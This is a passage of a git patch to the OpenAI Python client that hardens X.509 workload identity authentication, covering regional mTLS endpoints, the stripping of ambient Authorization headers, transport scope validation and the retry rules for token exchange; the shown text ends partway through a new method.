From b5ec9be7388b6aaa6b81f727890b0dff102de923 Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Wed, 26 Aug 2026 13:28:59 -0700 Subject: [PATCH 01/13] fix(auth): harden X.509 workload identity integration --- src/openai/_client.py | 166 ++- src/openai/auth/_x509.py | 509 ++++++++- .../test_x509_workload_identity_hardening.py | 747 +++++++++++++ .../test_x509_workload_identity_transport.py | 999 ++++++++++++++++++ 4 files changed, 2359 insertions(+), 62 deletions(-) create mode 100644 tests/test_x509_workload_identity_hardening.py create mode 100644 tests/test_x509_workload_identity_transport.py diff --git a/src/openai/_client.py b/src/openai/_client.py index 9cf48b5d28..974f8a0189 100644 --- a/src/openai/_client.py +++ b/src/openai/_client.py @@ -38,9 +38,13 @@ MTLS_API_BASE_URL, SyncX509WorkloadIdentityAuth, AsyncX509WorkloadIdentityAuth, + can_share_x509_auth, validate_x509_api_url, + non_x509_request_scope, is_x509_workload_identity, + x509_data_residency_base_url, validate_x509_api_credentials, + x509_safe_environment_headers, validate_x509_request_authority, ) from ._exceptions import OpenAIError, APIStatusError @@ -127,6 +131,8 @@ class OpenAI(SyncAPIClient): _provider: _Provider | None _provider_runtime: _ProviderRuntime | None _base_url_was_default: bool + _data_residency: DataResidency | None + _ambient_authorizations: frozenset[str] websocket_base_url: str | httpx2.URL | None """Base URL for WebSocket connections. @@ -148,6 +154,7 @@ def base_url(self, url: httpx2.URL | str) -> None: validate_x509_api_url(normalized_url) self._base_url = self._enforce_trailing_slash(normalized_url) self._base_url_was_default = False + self._data_residency = None def __init__( self, @@ -197,6 +204,7 @@ def __init__( base_url = resolve_data_residency( data_residency, base_url, provider=provider, websocket_base_url=websocket_base_url ) + base_url = x509_data_residency_base_url(base_url, data_residency, workload_identity) provider_runtime: _ProviderRuntime | None = None if provider is not None: provider_name = _provider_name(provider) @@ -294,11 +302,13 @@ def __init__( elif base_url is None: base_url = os.environ.get("OPENAI_BASE_URL") self._base_url_was_default = provider_runtime is None and base_url is None + self._data_residency = data_residency if base_url is None: base_url = MTLS_API_BASE_URL if x509_identity is not None else "https://api.openai.com/v1" if x509_identity is not None: validate_x509_api_url(base_url) + self._ambient_authorizations = frozenset() custom_headers_env = os.environ.get("OPENAI_CUSTOM_HEADERS") if provider_runtime is None else None if custom_headers_env is not None: parsed: dict[str, str] = {} @@ -306,7 +316,18 @@ def __init__( colon = line.find(":") if colon >= 0: parsed[line[:colon].strip()] = line[colon + 1 :].strip() - default_headers = {**parsed, **(default_headers if is_mapping_t(default_headers) else {})} + explicit_headers: Mapping[str, str] = default_headers if is_mapping_t(default_headers) else {} + explicit_authorization = any(name.lower() == "authorization" for name in explicit_headers) + if explicit_authorization: + parsed = {name: value for name, value in parsed.items() if name.lower() != "authorization"} + elif x509_identity is None: + self._ambient_authorizations = frozenset( + value for name, value in parsed.items() if name.lower() == "authorization" + ) + default_headers = { + **x509_safe_environment_headers(parsed, x509_identity), + **explicit_headers, + } super().__init__( version=__version__, @@ -523,7 +544,11 @@ def _send_with_auth_retry( kwargs["follow_redirects"] = x509_auth._follow_redirects authorization = request.headers.get("Authorization") if authorization == f"Bearer {WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER}": - used_access_token = x509_auth.get_token() + used_access_token = ( + x509_auth.get_token_for_request(request) + if isinstance(x509_auth, SyncX509WorkloadIdentityAuth) + else x509_auth.get_token() + ) request.headers["Authorization"] = f"Bearer {used_access_token}" request_is_replayable = x509_auth._can_retry_request(request) @@ -536,7 +561,8 @@ def _send_with_auth_retry( **kwargs, ) else: - response = super()._send_request(request, stream=stream, **kwargs) + with non_x509_request_scope(request): + response = super()._send_request(request, stream=stream, **kwargs) if response.status_code != 401 or self._workload_identity_auth is None or used_access_token is None: return response @@ -690,6 +716,16 @@ def copy( inherited_project = None if provider_changed else self.project headers: Mapping[str, str] = {} if provider_changed else self._custom_headers + if ( + is_x509_workload_identity(workload_identity) + and not is_x509_workload_identity(self.workload_identity) + and self._ambient_authorizations + ): + headers = { + name: value + for name, value in headers.items() + if name.lower() != "authorization" or value not in self._ambient_authorizations + } if default_headers is not None: headers = {**headers, **default_headers} elif set_default_headers is not None: @@ -704,9 +740,20 @@ def copy( http_client = http_client or self._client next_provider = self._provider if isinstance(provider, NotGiven) else provider + explicit_base_url = not isinstance(base_url, NotGiven) + next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity + if api_key is not None and workload_identity is None: + next_workload_identity = None + current_x509 = is_x509_workload_identity(self.workload_identity) + next_x509 = is_x509_workload_identity(next_workload_identity) + mode_changed = current_x509 != next_x509 + effective_data_residency = data_residency + if effective_data_residency is None and mode_changed and not explicit_base_url: + effective_data_residency = self._data_residency base_url = resolve_data_residency( - data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url + effective_data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url ) + base_url = x509_data_residency_base_url(base_url, effective_data_residency, next_workload_identity) preserve_default_base_url = False auth_options: dict[str, Any] if next_provider is not None: @@ -725,12 +772,6 @@ def copy( "base_url": base_url, } else: - next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity - if api_key is not None and workload_identity is None: - next_workload_identity = None - current_x509 = is_x509_workload_identity(self.workload_identity) - next_x509 = is_x509_workload_identity(next_workload_identity) - mode_changed = current_x509 != next_x509 inherited_base_url = None if mode_changed and self._base_url_was_default else self.base_url preserve_default_base_url = base_url is None and not mode_changed and self._base_url_was_default auth_options = { @@ -758,6 +799,30 @@ def copy( ) if preserve_default_base_url: copied._base_url_was_default = True + overridden_authorizations = default_headers if default_headers is not None else set_default_headers + explicit_authorization_override = overridden_authorizations is not None and any( + name.lower() == "authorization" for name in overridden_authorizations + ) + if ( + self._ambient_authorizations + and not explicit_authorization_override + and any( + name.lower() == "authorization" and value in self._ambient_authorizations + for name, value in copied._custom_headers.items() + ) + ): + copied._ambient_authorizations = self._ambient_authorizations + if data_residency is not None: + copied._data_residency = data_residency + elif not explicit_base_url and not provider_changed: + copied._data_residency = self._data_residency + if can_share_x509_auth( + self._workload_identity_auth, + copied._workload_identity_auth, + current_origin=self.base_url, + replacement_origin=copied.base_url, + ): + copied._workload_identity_auth = self._workload_identity_auth return copied # Alias for `copy` for nicer inline usage, e.g. @@ -811,6 +876,8 @@ class AsyncOpenAI(AsyncAPIClient): _provider: _Provider | None _provider_runtime: _ProviderRuntime | None _base_url_was_default: bool + _data_residency: DataResidency | None + _ambient_authorizations: frozenset[str] websocket_base_url: str | httpx2.URL | None """Base URL for WebSocket connections. @@ -832,6 +899,7 @@ def base_url(self, url: httpx2.URL | str) -> None: validate_x509_api_url(normalized_url) self._base_url = self._enforce_trailing_slash(normalized_url) self._base_url_was_default = False + self._data_residency = None def __init__( self, @@ -881,6 +949,7 @@ def __init__( base_url = resolve_data_residency( data_residency, base_url, provider=provider, websocket_base_url=websocket_base_url ) + base_url = x509_data_residency_base_url(base_url, data_residency, workload_identity) provider_runtime: _ProviderRuntime | None = None if provider is not None: provider_name = _provider_name(provider) @@ -978,11 +1047,13 @@ def __init__( elif base_url is None: base_url = os.environ.get("OPENAI_BASE_URL") self._base_url_was_default = provider_runtime is None and base_url is None + self._data_residency = data_residency if base_url is None: base_url = MTLS_API_BASE_URL if x509_identity is not None else "https://api.openai.com/v1" if x509_identity is not None: validate_x509_api_url(base_url) + self._ambient_authorizations = frozenset() custom_headers_env = os.environ.get("OPENAI_CUSTOM_HEADERS") if provider_runtime is None else None if custom_headers_env is not None: parsed: dict[str, str] = {} @@ -990,7 +1061,18 @@ def __init__( colon = line.find(":") if colon >= 0: parsed[line[:colon].strip()] = line[colon + 1 :].strip() - default_headers = {**parsed, **(default_headers if is_mapping_t(default_headers) else {})} + explicit_headers: Mapping[str, str] = default_headers if is_mapping_t(default_headers) else {} + explicit_authorization = any(name.lower() == "authorization" for name in explicit_headers) + if explicit_authorization: + parsed = {name: value for name, value in parsed.items() if name.lower() != "authorization"} + elif x509_identity is None: + self._ambient_authorizations = frozenset( + value for name, value in parsed.items() if name.lower() == "authorization" + ) + default_headers = { + **x509_safe_environment_headers(parsed, x509_identity), + **explicit_headers, + } super().__init__( version=__version__, @@ -1207,7 +1289,11 @@ async def _send_with_auth_retry( kwargs["follow_redirects"] = x509_auth._follow_redirects authorization = request.headers.get("Authorization") if authorization == f"Bearer {WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER}": - used_access_token = await x509_auth.get_token_async() + used_access_token = ( + await x509_auth.get_token_for_request(request) + if isinstance(x509_auth, AsyncX509WorkloadIdentityAuth) + else await x509_auth.get_token_async() + ) request.headers["Authorization"] = f"Bearer {used_access_token}" request_is_replayable = x509_auth._can_retry_request(request) @@ -1220,7 +1306,8 @@ async def _send_with_auth_retry( **kwargs, ) else: - response = await super()._send_request(request, stream=stream, **kwargs) + with non_x509_request_scope(request): + response = await super()._send_request(request, stream=stream, **kwargs) if response.status_code != 401 or self._workload_identity_auth is None or used_access_token is None: return response @@ -1387,6 +1474,16 @@ def copy( inherited_project = None if provider_changed else self.project headers: Mapping[str, str] = {} if provider_changed else self._custom_headers + if ( + is_x509_workload_identity(workload_identity) + and not is_x509_workload_identity(self.workload_identity) + and self._ambient_authorizations + ): + headers = { + name: value + for name, value in headers.items() + if name.lower() != "authorization" or value not in self._ambient_authorizations + } if default_headers is not None: headers = {**headers, **default_headers} elif set_default_headers is not None: @@ -1400,9 +1497,20 @@ def copy( http_client = http_client or self._client next_provider = self._provider if isinstance(provider, NotGiven) else provider + explicit_base_url = not isinstance(base_url, NotGiven) + next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity + if api_key is not None and workload_identity is None: + next_workload_identity = None + current_x509 = is_x509_workload_identity(self.workload_identity) + next_x509 = is_x509_workload_identity(next_workload_identity) + mode_changed = current_x509 != next_x509 + effective_data_residency = data_residency + if effective_data_residency is None and mode_changed and not explicit_base_url: + effective_data_residency = self._data_residency base_url = resolve_data_residency( - data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url + effective_data_residency, base_url, provider=next_provider, websocket_base_url=websocket_base_url ) + base_url = x509_data_residency_base_url(base_url, effective_data_residency, next_workload_identity) preserve_default_base_url = False auth_options: dict[str, Any] if next_provider is not None: @@ -1421,12 +1529,6 @@ def copy( "base_url": base_url, } else: - next_workload_identity = workload_identity if workload_identity is not None else self.workload_identity - if api_key is not None and workload_identity is None: - next_workload_identity = None - current_x509 = is_x509_workload_identity(self.workload_identity) - next_x509 = is_x509_workload_identity(next_workload_identity) - mode_changed = current_x509 != next_x509 inherited_base_url = None if mode_changed and self._base_url_was_default else self.base_url preserve_default_base_url = base_url is None and not mode_changed and self._base_url_was_default auth_options = { @@ -1454,6 +1556,30 @@ def copy( ) if preserve_default_base_url: copied._base_url_was_default = True + overridden_authorizations = default_headers if default_headers is not None else set_default_headers + explicit_authorization_override = overridden_authorizations is not None and any( + name.lower() == "authorization" for name in overridden_authorizations + ) + if ( + self._ambient_authorizations + and not explicit_authorization_override + and any( + name.lower() == "authorization" and value in self._ambient_authorizations + for name, value in copied._custom_headers.items() + ) + ): + copied._ambient_authorizations = self._ambient_authorizations + if data_residency is not None: + copied._data_residency = data_residency + elif not explicit_base_url and not provider_changed: + copied._data_residency = self._data_residency + if can_share_x509_auth( + self._workload_identity_auth, + copied._workload_identity_auth, + current_origin=self.base_url, + replacement_origin=copied.base_url, + ): + copied._workload_identity_auth = self._workload_identity_auth return copied # Alias for `copy` for nicer inline usage, e.g. diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index 622f2b89ec..102a478ec6 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -3,8 +3,12 @@ import re import math import time +import threading import email.utils -from typing import Any, NoReturn, cast +from typing import Any, Iterator, NoReturn, cast +from weakref import ReferenceType, ref +from contextlib import contextmanager +from contextvars import ContextVar from typing_extensions import TypeIs, override import anyio @@ -29,6 +33,81 @@ _REPLAY_FILE_POSITIONS_EXTENSION = "openai_x509_replay_file_positions" _ALLOWED_IDENTITY_FIELDS = {"type", "identity_provider_id", "service_account_id", "refresh_buffer_seconds"} _BEARER_ACCESS_TOKEN = re.compile(r"[A-Za-z0-9._~+/-]+=*") +_MTLS_REGIONAL_BASE_URLS = { + "global": MTLS_API_BASE_URL, + "us": "https://mtls-us.api.openai.com/v1", + "eu": "https://mtls-eu.api.openai.com/v1", +} +_OPENAI_MTLS_HOSTS = {httpx2.URL(url).host for url in _MTLS_REGIONAL_BASE_URLS.values()} +_EXCHANGE_REQUEST_TIMEOUT: ContextVar[dict[str, float | None] | None] = ContextVar( + "openai_x509_exchange_request_timeout", default=None +) +_API_TRANSPORT_SCOPE: ContextVar[tuple[httpx2.Request, httpx2.URL, str | None] | None] = ContextVar( + "openai_x509_api_transport_scope", default=None +) +_API_TRANSPORT_SCOPE_EXTENSION = "openai_x509_api_transport_scope" +_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION = "openai_x509_unprotected_transport_scope" +_ACTIVE_API_TRANSPORT_SCOPES: dict[object, tuple[httpx2.Request, httpx2.URL, str | None]] = {} +_ACTIVE_UNPROTECTED_TRANSPORT_SCOPES: dict[object, tuple[httpx2.Request, httpx2.URL, str | None]] = {} +_ACTIVE_API_TRANSPORT_SCOPES_LOCK = threading.RLock() +_UNPROTECTED_TRANSPORT_SCOPE: ContextVar[object | None] = ContextVar( + "openai_x509_unprotected_transport_scope", default=None +) + + +@contextmanager +def non_x509_request_scope(request: httpx2.Request) -> Iterator[None]: + marker = object() + had_previous_marker = _UNPROTECTED_TRANSPORT_SCOPE_EXTENSION in request.extensions + previous_marker = request.extensions.get(_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION) + request.extensions[_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION] = marker + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES[marker] = ( + request, + request.url, + request.headers.get("Authorization"), + ) + protected_scope = _API_TRANSPORT_SCOPE.set(None) + unprotected_scope = _UNPROTECTED_TRANSPORT_SCOPE.set(marker) + try: + yield + finally: + _UNPROTECTED_TRANSPORT_SCOPE.reset(unprotected_scope) + _API_TRANSPORT_SCOPE.reset(protected_scope) + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES.pop(marker, None) + if had_previous_marker: + request.extensions[_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION] = previous_marker + else: + request.extensions.pop(_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION, None) + + +def _is_unprotected_transport_request(request: httpx2.Request) -> bool: + marker = request.extensions.get(_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION) + contextual_marker = _UNPROTECTED_TRANSPORT_SCOPE.get() + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + if type(marker) is object and marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES: + return True + return contextual_marker is not None and contextual_marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES + + +def _request_transport_scope(request: httpx2.Request) -> tuple[httpx2.Request, httpx2.URL, str | None] | None: + marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) + if type(marker) is object: + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + marked_scope = _ACTIVE_API_TRANSPORT_SCOPES.get(marker) + if marked_scope is not None: + return marked_scope + + if _is_unprotected_transport_request(request): + return None + + return _API_TRANSPORT_SCOPE.get() + + +class _TransientTokenExchangeError(Exception): + def __init__(self, error: OpenAIError) -> None: + self.error = error def validate_x509_api_url(url: httpx2.URL | str, *, expected_origin: httpx2.URL | None = None) -> None: @@ -89,6 +168,15 @@ def _validate_transport_request( validate_x509_api_url(request.url, expected_origin=expected_origin) validate_x509_request_authority(request) + target = request.extensions.get("target") + if target is not None and target != request.url.raw_path: + raise OpenAIError("X.509 workload identity request target must match the request URL") + + sni_hostname = request.extensions.get("sni_hostname") + if request.url.host in _OPENAI_MTLS_HOSTS and sni_hostname is not None: + if not isinstance(sni_hostname, str) or sni_hostname.lower() != request.url.host.lower(): + raise OpenAIError("X.509 workload identity TLS hostname must match the OpenAI mTLS origin") + if token_exchange: if str(request.url) != _X509_TOKEN_EXCHANGE_URL: raise OpenAIError("X.509 token exchange requests must use the pinned authentication URL") @@ -128,7 +216,11 @@ def handle_request(self, request: httpx2.Request) -> httpx2.Response: ) if self._http_client.is_closed: raise RuntimeError("Cannot send a request, as the client has been closed.") - return self._http_client._transport_for_url(request.url).handle_request(request) + transport = self._http_client._transport_for_url(request.url) + if self._token_exchange: + with non_x509_request_scope(request): + return transport.handle_request(request) + return transport.handle_request(request) @override def close(self) -> None: @@ -160,7 +252,11 @@ async def handle_async_request(self, request: httpx2.Request) -> httpx2.Response ) if self._http_client.is_closed: raise RuntimeError("Cannot send a request, as the client has been closed.") - return await self._http_client._transport_for_url(request.url).handle_async_request(request) + transport = self._http_client._transport_for_url(request.url) + if self._token_exchange: + with non_x509_request_scope(request): + return await transport.handle_async_request(request) + return await transport.handle_async_request(request) @override async def aclose(self) -> None: @@ -168,6 +264,230 @@ async def aclose(self) -> None: return None +class _SyncX509ScopedTransport(httpx2.BaseTransport): + def __init__(self, transport: httpx2.BaseTransport, owner: _X509ClientTransportScope) -> None: + self._transport = transport + self._owner = owner + + @override + def handle_request(self, request: httpx2.Request) -> httpx2.Response: + scope = self._owner.request_scope(request) + if scope is not None: + _validate_transport_request( + request, + expected_origin=scope[1], + expected_authorization=scope[2], + token_exchange=False, + ) + return self._transport.handle_request(request) + + @override + def close(self) -> None: + self._transport.close() + + +class _AsyncX509ScopedTransport(httpx2.AsyncBaseTransport): + def __init__(self, transport: httpx2.AsyncBaseTransport, owner: _X509ClientTransportScope) -> None: + self._transport = transport + self._owner = owner + + @override + async def handle_async_request(self, request: httpx2.Request) -> httpx2.Response: + scope = self._owner.request_scope(request) + if scope is not None: + _validate_transport_request( + request, + expected_origin=scope[1], + expected_authorization=scope[2], + token_exchange=False, + ) + return await self._transport.handle_async_request(request) + + @override + async def aclose(self) -> None: + await self._transport.aclose() + + +class _FinalizingRequestHooks(list[Any]): + def __init__(self, hooks: list[Any], finalizer: Any) -> None: + super().__init__(hooks) + self._finalizer = finalizer + + @override + def __iter__(self) -> Iterator[Any]: + finalizer = self._finalizer + yield finalizer + index = 0 + while index < len(self): + hook = self[index] + index += 1 + yield hook + yield finalizer + + +class _X509ClientTransportScope: + def __init__(self, http_client: httpx2.Client | httpx2.AsyncClient, *, is_async: bool) -> None: + self._http_client_ref = ref(http_client) + self._is_async = is_async + self._lock = threading.RLock() + self._active_requests = 0 + self._request_scopes: dict[object, tuple[httpx2.Request, httpx2.URL, str | None]] = {} + self._bound_requests: dict[int, tuple[httpx2.Request, object]] = {} + self._scope_request_bindings: dict[object, set[int]] = {} + self._original_transport: Any = None + self._original_mounts: dict[Any, Any] = {} + self._original_request_hooks: list[Any] = [] + + def _wrap(self, transport: Any) -> Any: + if self._is_async: + return _AsyncX509ScopedTransport(transport, self) + return _SyncX509ScopedTransport(transport, self) + + def request_scope(self, request: httpx2.Request) -> tuple[httpx2.Request, httpx2.URL, str | None] | None: + with self._lock: + bound_request = self._bound_requests.get(id(request)) + if bound_request is not None and bound_request[0] is request: + bound_scope = self._request_scopes.get(bound_request[1]) + if bound_scope is not None: + return bound_scope + + scope = _request_transport_scope(request) + if scope is not None: + marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) + with self._lock: + if type(marker) is object and marker in self._request_scopes: + self._bind_request(request, marker) + return scope + if _is_unprotected_transport_request(request): + return None + + with self._lock: + if not self._request_scopes: + return None + same_origin = [ + (marker, active_scope) + for marker, active_scope in self._request_scopes.items() + if (request.url.host, request.url.port) == (active_scope[1].host, active_scope[1].port) + ] + candidates = same_origin if same_origin else list(self._request_scopes.items()) + marker, active_scope = next( + ( + (active_marker, candidate) + for active_marker, candidate in candidates + if request.headers.get("Authorization") == candidate[2] + ), + candidates[0], + ) + self._bind_request(request, marker) + return active_scope + + def _bind_request(self, request: httpx2.Request, marker: object) -> None: + identifier = id(request) + self._bound_requests[identifier] = (request, marker) + self._scope_request_bindings.setdefault(marker, set()).add(identifier) + + def _validate_sync_request(self, request: httpx2.Request) -> None: + scope = self.request_scope(request) + if scope is not None: + _validate_transport_request( + request, + expected_origin=scope[1], + expected_authorization=scope[2], + token_exchange=False, + ) + + async def _validate_async_request(self, request: httpx2.Request) -> None: + self._validate_sync_request(request) + + @contextmanager + def activate( + self, request: httpx2.Request, expected_origin: httpx2.URL, expected_authorization: str | None + ) -> Iterator[None]: + http_client = self._http_client_ref() + if http_client is None: + raise RuntimeError("Cannot send a request after the HTTP client has been released.") + with self._lock: + if self._active_requests == 0: + self._original_transport = http_client._transport + self._original_mounts = http_client._mounts + http_client._transport = self._wrap(self._original_transport) + http_client._mounts = { + pattern: self._wrap(transport) if transport is not None else None + for pattern, transport in self._original_mounts.items() + } + self._original_request_hooks = http_client.event_hooks["request"] + validator = self._validate_async_request if self._is_async else self._validate_sync_request + http_client.event_hooks["request"] = _FinalizingRequestHooks(self._original_request_hooks, validator) + self._active_requests += 1 + + marker = object() + had_previous_marker = _API_TRANSPORT_SCOPE_EXTENSION in request.extensions + previous_marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) + request.extensions[_API_TRANSPORT_SCOPE_EXTENSION] = marker + request_scope = (request, expected_origin, expected_authorization) + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + _ACTIVE_API_TRANSPORT_SCOPES[marker] = request_scope + with self._lock: + self._request_scopes[marker] = request_scope + scope = _API_TRANSPORT_SCOPE.set(request_scope) + unprotected_scope = _UNPROTECTED_TRANSPORT_SCOPE.set(None) + try: + yield + finally: + with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: + _ACTIVE_API_TRANSPORT_SCOPES.pop(marker, None) + if had_previous_marker: + request.extensions[_API_TRANSPORT_SCOPE_EXTENSION] = previous_marker + else: + request.extensions.pop(_API_TRANSPORT_SCOPE_EXTENSION, None) + _UNPROTECTED_TRANSPORT_SCOPE.reset(unprotected_scope) + _API_TRANSPORT_SCOPE.reset(scope) + with self._lock: + for identifier in self._scope_request_bindings.pop(marker, set()): + self._bound_requests.pop(identifier, None) + self._request_scopes.pop(marker, None) + self._active_requests -= 1 + if self._active_requests == 0: + http_client._transport = self._original_transport + http_client._mounts = self._original_mounts + scoped_hooks = http_client.event_hooks["request"] + self._original_request_hooks[:] = ( + scoped_hooks.copy() if isinstance(scoped_hooks, _FinalizingRequestHooks) else list(scoped_hooks) + ) + http_client.event_hooks["request"] = self._original_request_hooks + self._original_transport = None + self._original_mounts = {} + self._original_request_hooks = [] + + +_TRANSPORT_SCOPES: dict[int, tuple[ReferenceType[Any], _X509ClientTransportScope]] = {} +_TRANSPORT_SCOPES_LOCK = threading.RLock() + + +def _release_transport_scope(client_id: int, reference: ReferenceType[Any]) -> None: + with _TRANSPORT_SCOPES_LOCK: + entry = _TRANSPORT_SCOPES.get(client_id) + if entry is not None and entry[0] is reference: + _TRANSPORT_SCOPES.pop(client_id, None) + + +def _client_transport_scope( + http_client: httpx2.Client | httpx2.AsyncClient, *, is_async: bool +) -> _X509ClientTransportScope: + client_id = id(http_client) + with _TRANSPORT_SCOPES_LOCK: + existing = _TRANSPORT_SCOPES.get(client_id) + if existing is not None and existing[0]() is http_client: + return existing[1] + + def release(reference: ReferenceType[Any]) -> None: + _release_transport_scope(client_id, reference) + + scope = _X509ClientTransportScope(http_client, is_async=is_async) + _TRANSPORT_SCOPES[client_id] = (ref(http_client, release), scope) + return scope + + def _scoped_sync_client( http_client: httpx2.Client, *, @@ -185,15 +505,7 @@ def _scoped_sync_client( client_type = httpx2.Client if legacy_httpx is not None and not isinstance(cast(object, http_client), httpx2.Client): client_type = legacy_httpx.Client - scoped_client = client_type( - transport=transport, - timeout=http_client.timeout, - event_hooks=None if token_exchange else http_client.event_hooks, - trust_env=False, - ) - if not token_exchange: - scoped_client._cookies = http_client.cookies - return scoped_client + return client_type(transport=transport, timeout=http_client.timeout, event_hooks=None, trust_env=False) def _scoped_async_client( @@ -213,15 +525,7 @@ def _scoped_async_client( client_type = httpx2.AsyncClient if legacy_httpx is not None and not isinstance(cast(object, http_client), httpx2.AsyncClient): client_type = legacy_httpx.AsyncClient - scoped_client = client_type( - transport=transport, - timeout=http_client.timeout, - event_hooks=None if token_exchange else http_client.event_hooks, - trust_env=False, - ) - if not token_exchange: - scoped_client._cookies = http_client.cookies - return scoped_client + return client_type(transport=transport, timeout=http_client.timeout, event_hooks=None, trust_env=False) def _as_finite_float(value: object) -> float | None: @@ -240,6 +544,26 @@ def is_x509_workload_identity( return identity is not None and identity.get("type") == "x509" +def x509_data_residency_base_url( + base_url: httpx2.URL | str | None, + data_residency: str | None, + workload_identity: WorkloadIdentity | X509WorkloadIdentity | None, +) -> httpx2.URL | str | None: + if data_residency is None or not is_x509_workload_identity(workload_identity): + return base_url + if data_residency not in _MTLS_REGIONAL_BASE_URLS: + raise OpenAIError("X.509 workload identity requires a supported regional mTLS endpoint") + return _MTLS_REGIONAL_BASE_URLS[data_residency] + + +def x509_safe_environment_headers( + headers: dict[str, str], workload_identity: X509WorkloadIdentity | None +) -> dict[str, str]: + if workload_identity is None: + return headers + return {name: value for name, value in headers.items() if name.lower() != "authorization"} + + def _validate_identity(identity: X509WorkloadIdentity) -> None: if "provider" in identity or "client_id" in identity: raise OpenAIError("X.509 workload identity does not accept a subject-token provider or client ID") @@ -247,7 +571,13 @@ def _validate_identity(identity: X509WorkloadIdentity) -> None: if set(identity) - _ALLOWED_IDENTITY_FIELDS: raise OpenAIError("X.509 workload identity accepts only identity IDs and an optional refresh buffer") - if not identity.get("identity_provider_id") or not identity.get("service_account_id"): + if any( + not isinstance(identity.get(field), str) or not identity.get(field) + for field in ( + "identity_provider_id", + "service_account_id", + ) + ): raise OpenAIError("X.509 workload identity requires identity-provider and service-account IDs") refresh_buffer = cast(object, identity.get("refresh_buffer_seconds")) @@ -276,20 +606,39 @@ def _token_exchange_request( if legacy_httpx is not None and not isinstance(cast(object, http_client), (httpx2.Client, httpx2.AsyncClient)): request_type = cast(type[httpx2.Request], cast(Any, legacy_httpx).Request) + configured_timeout = _EXCHANGE_REQUEST_TIMEOUT.get() + timeout = { + phase: min(value, 10.0) if value is not None else 10.0 + for phase, value in (configured_timeout or httpx2.Timeout(10.0).as_dict()).items() + } return request_type( "POST", _X509_TOKEN_EXCHANGE_URL, json=_exchange_payload(identity), - extensions={"timeout": httpx2.Timeout(10.0).as_dict()}, + extensions={"timeout": timeout}, ) def _retry_delay(response: httpx2.Response | None, attempt: int) -> float | None: if response is not None: - if response.status_code not in (408, 409, 429) and response.status_code < 500: + should_retry = response.headers.get("x-should-retry") + if response.status_code in (400, 401, 403) or should_retry == "false": + return None + if should_retry != "true" and response.status_code not in (408, 409, 429) and response.status_code < 500: return None + retry_after_ms = response.headers.get("retry-after-ms") retry_after = response.headers.get("retry-after") + if retry_after_ms is not None: + try: + millisecond_delay = float(retry_after_ms) / 1000 + except ValueError: + pass + else: + if math.isfinite(millisecond_delay) and 0 <= millisecond_delay <= MAX_RETRY_AFTER_DELAY: + return millisecond_delay + if millisecond_delay > MAX_RETRY_AFTER_DELAY: + return None if retry_after is not None: try: delay = float(retry_after) @@ -323,9 +672,12 @@ def _is_replayable_request(request: httpx2.Request) -> bool: seekable = getattr(file, "seekable", None) seek = getattr(file, "seek", None) tell = getattr(file, "tell", None) - if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell): + try: + if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell): + return False + position = tell() + except (OSError, ValueError): return False - position = tell() if not isinstance(position, int): return False file_positions.append((file, position)) @@ -336,9 +688,12 @@ def _is_replayable_request(request: httpx2.Request) -> bool: seekable = getattr(source, "seekable", None) seek = getattr(source, "seek", None) tell = getattr(source, "tell", None) - if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell): + try: + if not callable(seekable) or not seekable() or not callable(seek) or not callable(tell): + return False + request.extensions[_REPLAY_POSITION_EXTENSION] = tell() + except (OSError, ValueError): return False - request.extensions[_REPLAY_POSITION_EXTENSION] = tell() return True @@ -416,8 +771,25 @@ def _prepare_retry_request(self, request: httpx2.Request) -> None: if callable(seek): seek(position) + def _usable_token_after_transient_failure(self) -> str | None: + with self._lock: + if self._token_unusable(): + return None + self._cached_token_refresh_at_monotonic = time.monotonic() + INITIAL_RETRY_DELAY + return self._cached_token + + def _handle_exchange_response(self, response: httpx2.Response) -> dict[str, Any]: + try: + return self._handle_token_response(response) + except OpenAIError as error: + if response.status_code in (408, 409, 429) or response.status_code >= 500: + raise _TransientTokenExchangeError(error) from error + raise + class SyncX509WorkloadIdentityAuth(_X509WorkloadIdentityAuth): + _http_client: httpx2.Client + def __init__( self, *, workload_identity: X509WorkloadIdentity, http_client: httpx2.Client, max_retries: int ) -> None: @@ -433,12 +805,28 @@ def send_api_request( stream: bool, **kwargs: Any, ) -> httpx2.Response: - with _scoped_sync_client( - self._http_client, - expected_origin=expected_origin, - expected_authorization=expected_authorization, - ) as scoped_client: - return scoped_client.send(request, stream=stream, **kwargs) + if self._http_client.is_closed: + raise RuntimeError("Cannot send a request, as the client has been closed.") + with _client_transport_scope(self._http_client, is_async=False).activate( + request, expected_origin, expected_authorization + ): + kwargs.setdefault("auth", None) + return self._http_client.send(request, stream=stream, **kwargs) + + def get_token_for_request(self, request: httpx2.Request) -> str: + timeout_token = _EXCHANGE_REQUEST_TIMEOUT.set(request.extensions.get("timeout")) + try: + try: + return self.get_token() + except (APIConnectionError, _TransientTokenExchangeError) as error: + token = 